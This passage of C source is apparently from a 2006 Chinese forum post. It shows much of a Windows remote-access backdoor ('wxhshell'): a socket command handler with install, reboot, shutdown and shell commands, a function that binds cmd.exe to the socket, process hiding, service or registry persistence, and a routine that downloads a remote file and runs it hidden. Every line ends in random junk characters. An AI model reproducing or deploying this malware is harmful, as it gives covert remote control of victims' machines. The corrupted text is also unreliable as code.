  else { ,:(leWeA9  
*wB-lg7%  
    switch(cmd[0]) { ,A!e"=HF  
  MJ9SsC1  
  // 帮助 jN} 7Bb X  
  case '?': { ePpK+E[0Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~9 WJrRWB  
    break; 3t8H?B12ow  
  } /Z " 4[  
  // 安装 /C"s_:m;3  
  case 'i': { fF>qU-  
    if(Install()) aaug u.9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I!7.fuO  
    else W:poUG1UR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /e sk  
    break; K2rS[Kdfaq  
    } z83:a)U  
  // 卸载 `VFl|o#H  
  case 'r': { 6+;2B<II  
    if(Uninstall()) iB3 +KR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f5b`gvCY,#  
    else pd>a6 lI`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~R@m!'I k  
    break; !$xEX,vj|W  
    } N^yO- xk  
  // 显示 wxhshell 所在路径 KHus/M&0  
  case 'p': { To8v#.i  
    char svExeFile[MAX_PATH]; M}oj!xGB  
    strcpy(svExeFile,"\n\r"); e3={$Ah  
      strcat(svExeFile,ExeFile); O?,i?  
        send(wsh,svExeFile,strlen(svExeFile),0); #or oY.o  
    break; !bV(VRbu  
    } 7x7r!rSe,  
  // 重启 gqdB!l4  
  case 'b': { K aQq[a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :y-0qz D?  
    if(Boot(REBOOT)) mERZ_[a2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  mz VuQ  
    else { A[ECa{ v  
    closesocket(wsh); 2V2x,!  
    ExitThread(0); "">fn(  
    } %cr]ZR  
    break; PDq}Tq  
    } 8P<UO  
  // 关机 9MtJo.A  
  case 'd': { Ul713Bjz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {8Jk=)(md  
    if(Boot(SHUTDOWN)) <#p|z`N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -KwL9J4u  
    else { dI ZTLb"a  
    closesocket(wsh); C3 b0`|5  
    ExitThread(0); mf]( 3ZL  
    } X\^& nLa  
    break; p-yOiG8b}  
    } n|mJE,N  
  // 获取shell R3{*v =ov  
  case 's': { rxgVT4  
    CmdShell(wsh); tY$ty0y-e  
    closesocket(wsh); ]k`Fl,"  
    ExitThread(0); 8/>wgY  
    break; $>h!J.t  
  } i9@;,4f  
  // 退出 b?2X>QJ  
  case 'x': { ;+ C o!L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^0-e,d 9h  
    CloseIt(wsh); sPE)m_u  
    break; yrE,,N%I  
    } w-'D*dOi  
  // 离开 _5U%'\5s  
  case 'q': { fs3 -rXoB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CVGOX z  
    closesocket(wsh); bco[L@6G$  
    WSACleanup(); y800(z  
    exit(1); nT@6g|!  
    break; =8$0$d  
        } 17n+4J]  
  } V^Mf4!A(y  
  } wKi}@|0[@  
}KD7 Y  
  // 提示信息 }[KDE{,V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6& &}P79  
} Pi"~/MGP$  
  } iFwyh`Bcg  
EBIa%,  
  return; vNK`Y|u@  
} ezg^5o;  
0[2BY]`Z.  
// shell模块句柄 (ifqwl62  
int CmdShell(SOCKET sock) FD XWFJ  
{ G>[ NZE  
STARTUPINFO si; qr'x0r|<>  
ZeroMemory(&si,sizeof(si)); \C+*loLs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aJy>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hs{&G^!jo  
PROCESS_INFORMATION ProcessInfo; <wUD  
char cmdline[]="cmd"; (?!(0Ywbg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q lz9&w  
  return 0; ;e~{TkD  
} Ere?d~8  
o8};e  
// 自身启动模式 1Es*=zg  
int StartFromService(void) Y0Hq+7x  
{ +#-kIaU  
typedef struct ^&`sWO@=  
{ Mz/]DJ8  
  DWORD ExitStatus; [V> :`?  
  DWORD PebBaseAddress; )p/=u@8_f  
  DWORD AffinityMask; 3WO#^}t  
  DWORD BasePriority; B@"SOX  
  ULONG UniqueProcessId; kW<Yda<a  
  ULONG InheritedFromUniqueProcessId; vgh ^fa!/  
}   PROCESS_BASIC_INFORMATION; r 1l/) ;  
o27 3|*  
PROCNTQSIP NtQueryInformationProcess; Q SHx]*)  
[l8V<*x%S9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %k3NT~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fCt^FU  
/RJ6nmN@}  
  HANDLE             hProcess; cX|[WT0[I  
  PROCESS_BASIC_INFORMATION pbi; .%x"t>]  
;NiArcAS!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W"b&M%y|  
  if(NULL == hInst ) return 0; QMXD9H0{  
O8K@&V p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wMH[QYb<*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "8wf.nZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ] ?DDCew  
Q(~3pt  
  if (!NtQueryInformationProcess) return 0; @9}),hl`  
zdxT35h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a,/M'^YyN  
  if(!hProcess) return 0; w?]ZU-  
e-[>( n/[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HG{&U:>)  
EX`"z(L  
  CloseHandle(hProcess); JC c N>DtP  
Hv8SYQ|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,s1&O`  
if(hProcess==NULL) return 0; <^,o$b  
M!eoe5  
HMODULE hMod; (v|r'B9 b  
char procName[255]; g".d"d{  
unsigned long cbNeeded; :V&N\>Wo  
[D*J[?yt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +3M$3w{2  
eV[`P&j_C  
  CloseHandle(hProcess); 8q]J;T  
Wmzq  
if(strstr(procName,"services")) return 1; // 以服务启动 !1ML%}vvB,  
cZNi~  
  return 0; // 注册表启动 pwJ'3NbS  
} ZWf-X  
q*~gWn>T  
// 主模块 lhLnygUk  
int StartWxhshell(LPSTR lpCmdLine) *)MX%`Z}  
{ <lC]>L  
  SOCKET wsl; V~/.Y&WN  
BOOL val=TRUE; Sg-g^ dIN1  
  int port=0; %xf)m[JU=  
  struct sockaddr_in door; IZv~[vi_  
8|1`Tn}o  
  if(wscfg.ws_autoins) Install(); 5;X {.2  
+68+PhHF  
port=atoi(lpCmdLine); 2{Wo-B,wt~  
~R :<Bw  
if(port<=0) port=wscfg.ws_port; z7-`Y9Ypd  
+O)]^"TG  
  WSADATA data; 3^!Hl8P7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q Oz9\,C  
6exRS]BI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    DZ^=*.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X Y~;)<s_  
  door.sin_family = AF_INET; HH"$#T^-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); , p_G/ OU  
  door.sin_port = htons(port); Wm<z?.lS  
 ;KZrl`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HbNYP/MN3  
closesocket(wsl); Q m $(  
return 1; -u6}T!  
} o:_^gJ+|  
sT)6nV  
  if(listen(wsl,2) == INVALID_SOCKET) { ,VAp>x+O  
closesocket(wsl); N*~_\x  
return 1; DC&A1I&  
} /@Ez" ?V2  
  Wxhshell(wsl); >Z *iE"9"  
  WSACleanup(); b& V`<'{  
yc*<:(p  
return 0; >B0D/:R9  
|Dg;(i?  
} {T&v2u#S  
Y5HfN[u^7  
// 以NT服务方式启动 5d+<EF+N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4_tR9w"  
{ #e*X0;m  
DWORD   status = 0; N;<//,  
  DWORD   specificError = 0xfffffff; <D;MT96SG  
"LOnDa7E^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [#0Yt/G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C*7!dW6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .AXdo'&2i  
  serviceStatus.dwWin32ExitCode     = 0; !L77y^oV  
  serviceStatus.dwServiceSpecificExitCode = 0; z/S,+!|z  
  serviceStatus.dwCheckPoint       = 0; O7v]p  
  serviceStatus.dwWaitHint       = 0; M:_!w[NiLp  
Xt ft*Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5^>n5u/  
  if (hServiceStatusHandle==0) return; ^OF5F8Tf/  
|=\91fP68`  
status = GetLastError(); gC`)]*'tE  
  if (status!=NO_ERROR) Tj`yJ!0  
{ hm3jpWi 8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _vL<h$vD  
    serviceStatus.dwCheckPoint       = 0; &Cq{ _M  
    serviceStatus.dwWaitHint       = 0; .!i0_Rv5x  
    serviceStatus.dwWin32ExitCode     = status; ;+ G9-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^ |aNG`|O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @44P4?;  
    return; ,>u=gA&}  
  } VpSEVd:n  
CN/IH   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4YLs^1'TG0  
  serviceStatus.dwCheckPoint       = 0; >D ne? 8r  
  serviceStatus.dwWaitHint       = 0; 3% ^z?_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^/*KNnAWp  
} I_?He'=0oU  
a\pi(9R  
// 处理NT服务事件,比如:启动、停止 %fv)7 CRM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {]^2R>0Q  
{ `@|w>8bMz{  
switch(fdwControl) #XI"@pD  
{ u?kD)5Nk  
case SERVICE_CONTROL_STOP: !qA8Zky_  
  serviceStatus.dwWin32ExitCode = 0; |z~LzSJv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &3Tx@XhO  
  serviceStatus.dwCheckPoint   = 0; x5OC;OQc  
  serviceStatus.dwWaitHint     = 0; 1kmQX+f  
  { O% -h&C3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 jjU  
  } VFO \4:.  
  return; :tM?%=Q  
case SERVICE_CONTROL_PAUSE: b{RqwV5P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fYBH)E  
  break; YUscz!rM  
case SERVICE_CONTROL_CONTINUE: 2zK"*7b?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &x0C4Kh  
  break; f7J,&<<5w  
case SERVICE_CONTROL_INTERROGATE: iITp**l  
  break; C0fmmI0z~  
}; Qw?+!-7TN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w(B H247`  
} /s c.C  
]TSg!H  
// 标准应用程序主函数 W&(f&{A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7yI`e*EOD  
{ dn,gZ"<  
$ D'^t(  
// 获取操作系统版本 WA.AFt  
OsIsNt=GetOsVer(); aV>aiR=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z856 nl  
>|3a 9S  
  // 从命令行安装 0@)%h&mD  
  if(strpbrk(lpCmdLine,"iI")) Install(); frN3S  
Km3&N  
  // 下载执行文件 DA"}A`HfI  
if(wscfg.ws_downexe) { @T&t.|`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -[R!O'N9  
  WinExec(wscfg.ws_filenam,SW_HIDE); \DA$6w\\  
} \Hwg) Uc{  
F98i*K`"  
if(!OsIsNt) { 1pP1d%  
// 如果时win9x,隐藏进程并且设置为注册表启动 >qR~'$,$  
HideProc(); 9s`/~ a@  
StartWxhshell(lpCmdLine); Bux'hc  
} ? _ <[T  
else u1cu]Sj0  
  if(StartFromService()) 5]"SGP  
  // 以服务方式启动 u@=?#a$$  
  StartServiceCtrlDispatcher(DispatchTable); 9vI]Lf P  
else ^bUxLa[.  
  // 普通方式启动 B9X8  
  StartWxhshell(lpCmdLine); ?_q+&)4-o  
&Un6ay  
return 0; PuXUuJx(  
}
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只看该作者 1 发表于: 2006-10-10
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